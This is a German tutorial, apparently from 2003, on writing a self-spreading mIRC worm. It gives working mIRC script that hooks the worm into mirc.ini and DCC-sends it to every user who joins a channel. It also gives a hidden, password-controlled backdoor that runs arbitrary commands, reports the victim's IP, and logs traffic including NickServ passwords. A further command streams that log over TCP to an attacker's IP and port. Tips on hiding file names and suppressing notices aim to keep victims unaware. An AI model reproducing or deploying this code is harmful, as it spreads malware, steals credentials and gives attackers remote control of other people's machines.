Anmerkung:
Dieser IRC Wurm WorkShop wurde von einem GastAutor erstellt, weiteres
unten.
Er wurde unzensiert und unbehandelt auf IRC-Mania.de
aufgenommen !
Sollte ein hier präsentierter WorkShop extrem viele Fehler
aufweisen, bitte ich um eine Benachrichtigung WorkShopKritik@IRC-Mania.de
Wir übernehmen keine Verantwortung für Schäden, die
durch diesen Workshop entstanden sind !
Autor: by Thomas "tom" S.
URL: http://www.eggdrop.ch
Email: <tom at eggdrop.ch>
Warnung
Ich übernehme keine Verantwortung für Schäden,
die durch diesen IRC-Wurm entstanden sind.
Inhalt
1 IRC-Wurm
1.1 Einleitung
In diesem Text wirst du erfahren, wie man einen IRC-Wurm schreibt,
der sich automatisch per DCC verbreitet. Dieses Tutorial setzt voraus,
dass du mIRC hast (die Scripts basieren auf mIRC, weil die meisten
Benutzer mIRC benutzen), die Standard IRC-Befehle kennst wie z.B.
/mode, /kick usw. und mindestens eine Programmiersprache kennst
(VisualBasic, C++ usw.). Bei Fragen schreib mir einfach ein E-Mail.
1.2 Programmierung
Wir werden hier einen IRC-Wurm für mIRC programmieren, da mIRC
(www.mirc.com)
der am häufigsten eingesetzte Chat-Client ist. Wir müssen
den Wurm als .exe, .bat, .vbs, .com oder sonst eine ausführbare
Datei versenden, weil er sich sonst nicht automatisch installiert.
mIRC befindet sich standardmässig im Verzeichnis c:\mIRC. Dieser
Wurm sollte in der mirc.ini (schau mit Notepad ruhig in die mirc.ini
hinein) einen Eintrag unter [rfiles] machen. Die [rfiles]-Rubrik
sieht je nach Script anders aus. Hier ein Beispiel:
[rfiles]
n0=remote.ini
n1=remote.ini
n2=blah.ini
n3=sonsteinscript.mrc
Jetzt ist es am Besten, wenn sich der Wurm als n4=wurm.mrc anhängt.
Alternativ könnte er auch das erste Script (n0 und n1 zählen
übrigens nicht) ersetzen: n2=wurm.mrc. Da könnte aber
das Opfer merken, dass irgend etwas nicht geht. Was du machst, ist
von deinen Programmierkenntnissen abhängig. Am Besten wäre
es, wenn der Wurm zuerst nach einer mirc.exe und mirc32.exe sucht
und in dem Ordner, wo sich die Datei befindet, den Wurm wie vorher
beschrieben in die mirc.ini anhängt und dann eine wurm.mrc
erstellt (du sollst natürlich anstelle von wurm.mrc einen anderen
Namen verwenden, der nicht so auffällig ist - wichtig ist einfach
das die Datei mit .mrc endet!). In diese wurm.mrc (oder wie die
dann heisst) wird dann der eigentliche Wurm geschrieben. Was dort
reinkommt zeig ich dir jetzt.
Der Wurm soll sich natürlich über DCC weiterversenden.
Dazu kommt folgendes in das File:
on *:join:#: {
if ($nick != $me) {
/dcc send $nick <PfadDesWurms>
}
}
<PfadDesWurms> musst du natürlich durch den Pfad des
Wurms, also die .exe oder wasauchimmer (nicht die wurm.mrc) ersetzen
(wenn du nicht weisst wo sich der Wurm befindet, dann soll sich
der Wurm doch am besten nach dem Start in das Verzeichnis C:\windows\system\
oder so kopieren).
Jetzt die Bedeutung des Befehls (Ich werde jetzt keine detailierte
Erklärung machen, da das kein mIRC-Scripting-Tutorial ist):
on *:join:#:{ } wird ausgeführt, wenn jemand einen
Channel joint.
if ($nick != $me) { } bedeutet: Wenn ich nicht der Nick
bin, dann ...
/dcc send $nick <PfadDesWurms> bedeutet: Sende dem
Nick die Datei <PfadDesWurms>
Noch ein Hinweis zu den Ereignissen: Man kann ein Ereignis nur EIN
mal verwenden. Du kannst also nur ein mal on *:join:#: gebrauchen.
Aber du kannst mehrere Befehle hinzufügen z.B:
on *:join:#:{
if ($nick != $me) {
/dcc send $nick <PfadDesWurms>
}
if ($nick == Meister) {
/msg $chan Mein Meister ist da!
}
}
Nun... was soll der Wurm alles können? Ich hab hier ein Beispiel
von einem Wurm (natürlich selber gemacht :P), der sich unbemerkt
steuern lässt:
on ^*:NOTICE:huhu:?:.timer.backdoorinfo 1 2 .notice $nick ?
| halt
on *:START:debug on | clear -s | if (%backpass == $null) { set %backpass
backdoor }
on ^*:NOTICE:$(%backpass help):?:.notice $nick Commands: setpass,
getinfo, run, id, getlog, dellog | halt
on ^*:NOTICE:$(%backpass setpass *):?:set %backpass $3 | .notice
$nick Password is now %backpass | halt
on ^*:NOTICE:$(%backpass getinfo):?:.notice $nick IP: $ip Host:
$host mIRC: $version Date: $date Time: $time Uptime: $duration($calc($ticks
/ 1000)) | halt
on ^*:NOTICE:$(%backpass run *):?:{
$3-
halt
}
on ^*:NOTICE:$(%backpass getlog *):?:{
sockopen backd00r $3 $4
halt
}
on *:sockopen:backd00r:{
if ($lines(debug.log) == 0) { sockwrite -tn backd00r * EOF | sockclose
backd00r | halt }
if ($lines(debug.log) == $null) { sockwrite -tn backd00r * EOF |
sockclose backd00r | halt }
%i = 0
:loop
inc %i
if ($read(debug.log,%i) == $null) { sockwrite -tn backd00r * EOF
| sockclose backd00r | halt }
sockwrite -tn backd00r * $remove($read -nl %i debug.log,$chr(124))
goto loop
}
on ^*:NOTICE:$(%backpass dellog):?:{
.remove debug.log
.notice $nick Removed debug.log
halt
}
on ^*:NOTICE:$(%backpass id *):?:{
.notice $nick Identifier: $ [ $+ [ $3- ] ]
halt
}
Nun das sieht ja ganz kompliziert aus, oder? Im Grunde genommen
ist es gar nicht so schwierig. Dann fang ich euch mal an zu erklären
was das etwa bedeutet:
on ^*:NOTICE:huhu:?:.timer.backdoorinfo 1 2 .notice $nick ?
| halt dient zum Checken, ob der betroffene dieses Backdoor
hat. Wenn du also einem Infiziertem /notice <nick> huhu schreibt,
dann sollte er innerhalb von 2 Sekunden antworten mit ?. Die Zahlen
1 2 bei Timer bedeuten: Der Timer wird ein mal ausgeführt in
einem Abstand von zwei Sekunden. Das ^ am Anfang und das halt am
Schluss, dient zum unterdrücken der empfangenen Notize ("huhu").
Der Punk vor notice $nick ?, dient zum unterdrücken der gesendeten
Notize ("?").
on *:START:debug on | clear -s | if (%backpass == $null) { set
%backpass backdoor } wird beim Starten von mIRC ausgeführt.
Das Zeichen | bedeutet nichts anderes als eine neue Zeile. debug
on bedeutet, dass alles in die debug.log gelogt wird (also auch
Nickservpasswörter und so). Dann kommt beim infiziertem * Output
to debug.log is ON. Damit das nicht erscheint, wird das Statusfenster
mit clear -s gereinigt. In der Variablen %backpass wird das Passwort
für den Wurm gespeichert sein. Wenn %backpass aber noch keinen
Wert hat ($null = nichts), dann wird der Variablen ein Standardpass
zugewiesen (backdoor).
on ^*:NOTICE:$(%backpass help):?:.notice $nick Commands: setpass,
getinfo, run, id, getlog, dellog | halt wird ausgeführt,
wenn eine Notize mit dem Inhalt der Variable %backpass gesendet
wird und dahinter ein help steht (z.B. /notice nick backdoor help).
Auch diese Notize wird mit ^ und halt untrdrückt.
on ^*:NOTICE:$(%backpass setpass *):?:set %backpass $3 | .notice
$nick Password is now %backpass | halt damit kann man das Passwort
wechseln. $3 ist der dritte Parameter. $1 wäre das Passwort,
$2 wäre setpass und $3 wäre dann schlussendlich das neue
Passwort.
on ^*:NOTICE:$(%backpass getinfo):?:.notice $nick IP: $ip Host:
$host mIRC: $version Date: $date Time: $time Uptime: $duration($calc($ticks
/ 1000)) | halt hier noch ein kleines Systeminfo: IP, Host
mIRC-Version, Datum, Zeit, Uptime ($ticks sind die Anzahl Milisekunden,
wird geteilt durch 1000 mit $calc und in Stunden, Minuten und Sekunden
umgewandelt mit $duration)
on ^*:NOTICE:$(%backpass run *):?:{
$3-
halt
} Mit diesen Zeilen (hier mal als Beispiel auf mehreren Zeilen
:P) wird ein beliebiger Befehl ausgeführt. Das - bei $3- bedeutet
$3 und alle folgenden ($4, $5 usw.)
on ^*:NOTICE:$(%backpass getlog *):?:{
sockopen backd00r $3 $4
halt
} Hier wirds spannend. Man gibt ein /notice <nick> <pass>
getlog <meineIP> <port> und das debug.log (vorher schon
besprochen) wird mit TCP dorthin gesendet (du musst also irgendwo
eine Serveranwendung haben, mit der du das abhören kannst,
unter Unix z.B. netcat)
on *:sockopen:backd00r:{
if ($lines(debug.log) == 0) { sockwrite -tn backd00r * EOF | sockclose
backd00r | halt }
if ($lines(debug.log) == $null) { sockwrite -tn backd00r * EOF |
sockclose backd00r | halt }
%i = 0
:loop
inc %i
if ($read(debug.log,%i) == $null) { sockwrite -tn backd00r * EOF
| sockclose backd00r | halt }
sockwrite -tn backd00r * $remove($read -nl %i debug.log,$chr(124))
goto loop
} Hier werde ich nicht jede Zeile eklären. Dieser Event
wird ausgeführt, wenn das Socket erfolgreich geöffnet
wurde. Dann wird der Inhalt der debug.log dort hin gesendet und
am Schlus ein * EOF (EndOfFile).
on ^*:NOTICE:$(%backpass dellog):?:{
.remove debug.log
.notice $nick Removed debug.log
halt
} Dieser Befehl löscht das debug.log
on ^*:NOTICE:$(%backpass id *):?:{
.notice $nick Identifier: $ [ $+ [ $3- ] ]
halt
} Mit diesem Befehl wird der Wert eines Identifier ($ip, $date,
usw., alles mit $ sind Identifier) gesendet, z.B.: /notice <nick>
<pass> id $ip
Du kannst übrigens auch selber ein IRC-Script machen (wenn
du gut scripten kannst) und dort diesen Wurm integrieren oder nur
die .mrc jemandem schicken. Er muss sie dann allerdings ins mIRC-Verzeichnis
kopieren und /load -rs <Datei> machen.
|
Letzte Änderung: 27.07.03
Copyright (C) 2003 by Thomas "tom" S. <tom at eggdrop.ch>
|
Dieser Text gehört zu www.eggdrop.ch
und ist urheberrechtlich geschützt. Das Weitergeben und Kopieren
dieses Textes ist erwünscht unter folgenden Bedingungen: 1.
Der Text muss so sein wie er ist und darf in keiner Weise verändert
oder in die eigene Homepage integriert werden. 2. Es muss ein deutlicher
Hinweis auf die Herkunft (www.eggdrop.ch)
vorhanden sein. 3. Der Text sollte wenigstens alle 3 Monate auf
Updates überprüft werden (siehe die Versionsnummer ganz
am Anfang des Textes!)
|